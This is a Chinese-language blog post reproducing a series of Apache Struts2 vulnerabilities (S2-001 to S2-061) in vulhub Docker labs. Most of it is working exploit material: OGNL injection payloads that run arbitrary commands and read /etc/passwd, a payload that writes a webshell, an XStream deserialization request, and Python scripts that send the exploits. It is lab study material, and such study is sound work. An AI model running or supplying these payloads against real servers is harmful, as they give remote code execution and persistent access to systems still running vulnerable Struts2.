vulhubStruts2 漏洞复现

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vulhubStruts2 漏洞复现

有关Struts2的介绍可以看我的另一篇博客

官网

环境准备

  1. docker
  2. docker-compose
  3. vulhub-master

image-20231007172438525

进入安装vulhub-master的文件夹，进入Struts2，再进入具体漏洞的文件目录。

执行启动

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docker-compose build
docker-compose up -d

docker ps  #查看端口

关闭docker环境

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docker-compose down -v

一键进入sturts2目录

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cd /vulhub/vulhub-master/struts2

S2-001

先执行一下

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%{1+1}

发现加法运算成功执行了，证明漏洞存在

看别人的poc

Poc：

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%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

看不懂，用ai分析一下

  1. %{ ... }: 这是一个字符串表达式的开始和结束标记，表明在这个字符串中包含了一些特殊的代码。
  2. "tomcatBinDir{": 这是字符串的一部分，它包含了文本 “tomcatBinDir{“。
  3. +: 这是字符串拼接操作符，用于将不同的字符串连接在一起。
  4. @java.lang.System@getProperty("user.dir"): 这是一段Java代码，用于获取Java系统属性 “user.dir” 的值，该属性表示当前工作目录。
  5. "}“: 这是字符串的一部分，它包含了文本 “}”。

综合起来，这段代码的目的似乎是构建一个字符串，其中包含了 “tomcatBinDir{“、当前工作目录（由Java系统属性 “user.dir” 提供）和 “}”，并将它们拼接在一起。最终的字符串可能看起来像这样：

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tomcatBinDir{/path/to/current/directory}
  • java.lang.System 是Java标准库中的一个类，它包含了与系统相关的一些方法和属性。
  • getProperty("user.dir") 是调用了java.lang.System类的getProperty方法，该方法用于获取系统属性的值。在这里，它获取了名为 “user.dir” 的系统属性，它表示当前的工作目录。

image-20231007174445013

看到命令成功执行了

.构造获取web路径poc：

Poc：

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%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image-20231007175453007

执行任意命令时只需要，将上面poc里whoami的命令替换

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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20231007175701882

s2-005

image-20231008192750044

构造poc

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(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

查看数据连接状态

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docker ps

image-20231008195240468

进入容器

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docker exec -it 000e62e5e780 /bin/bash  #000e62e5e780为容器的NAME
ls /tmp

image-20231008193834479

poc2

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?%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27

url decode得到

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'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))+'

gpt分析

  1. ? 是查询参数的起始符号，表示这是一个URL查询字符串的一部分。
  2. %27 表示URL编码的单引号 '，用于在字符串中引用字符。
  3. #memberAccess["allowStaticMethodAccess"]=true 试图将Struts2的#memberAccess对象中的allowStaticMethodAccess属性设置为true，以允许对静态方法的访问。
  4. #context["xwork.MethodAccessor.denyMethodExecution"]=false 试图将Struts2的#context对象中的xwork.MethodAccessor.denyMethodExecution属性设置为false，以取消对方法执行的拒绝。
  5. @org.apache.commons.io.IOUtils@toString(...) 这部分代码试图使用Apache Commons IO库中的IOUtils类执行某些操作。
  6. @java.lang.Runtime@getRuntime().exec('id').getInputStream() 通过Runtime类执行了一个操作系统命令id，然后尝试获取其输出流。

s2-007

命令执行

poc

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' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

image-20231010185238582

s2-008

image-20231010183827397

属于比较鸡肋的漏洞

s2-009

poc1

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/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

poc2

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/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

由于该POC没有回显，所以调用的是touch /tmp/success命令，查看/tmp目录发现已经成功

下载得到

image-20231010192618305

s2-012

poc

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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013

poc

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link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image-20231010193814058

s2-015

poc

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${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

image-20231010195012593

s2-016

执行命令：

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redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取web目录：

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redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入webshell：

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redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

s2-032

执行id命令

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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

image-20231010200311795

s2-045

直接发送如下数据包，可见233*233已成功执行：

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POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data


s2-046

与s2-045类似，但是输入点在文件上传的filename值位置，并需要使用\x00截断。

由于需要发送畸形数据包，我们简单使用原生socket编写payload：

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import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

s2-052

启动环境后，访问http://your-ip:8080/orders.xhtml即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml，即可在Body中传递XML数据。

所以，最后发送的数据包为：

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POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

s2-053

paylaod:

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%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

s2-057

测试OGNL表达式${233*233}：

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http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

image-20231010211644668

可见233*233的结果已返回在Location头中。

使用S2-057原理分析与复现过程（POC）中给出的执行任意命令的OGNL表达式：

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${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

s2-059

《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc，利用这个poc可以达到执行系统命令。

通过如下Python脚本复现漏洞：

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import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

执行poc之后，进入容器发现touch /tmp/success已成功执行

s2-061

发送如下数据包，即可执行id命令：

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POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

可见，id命令返回结果将直接显示在页面中：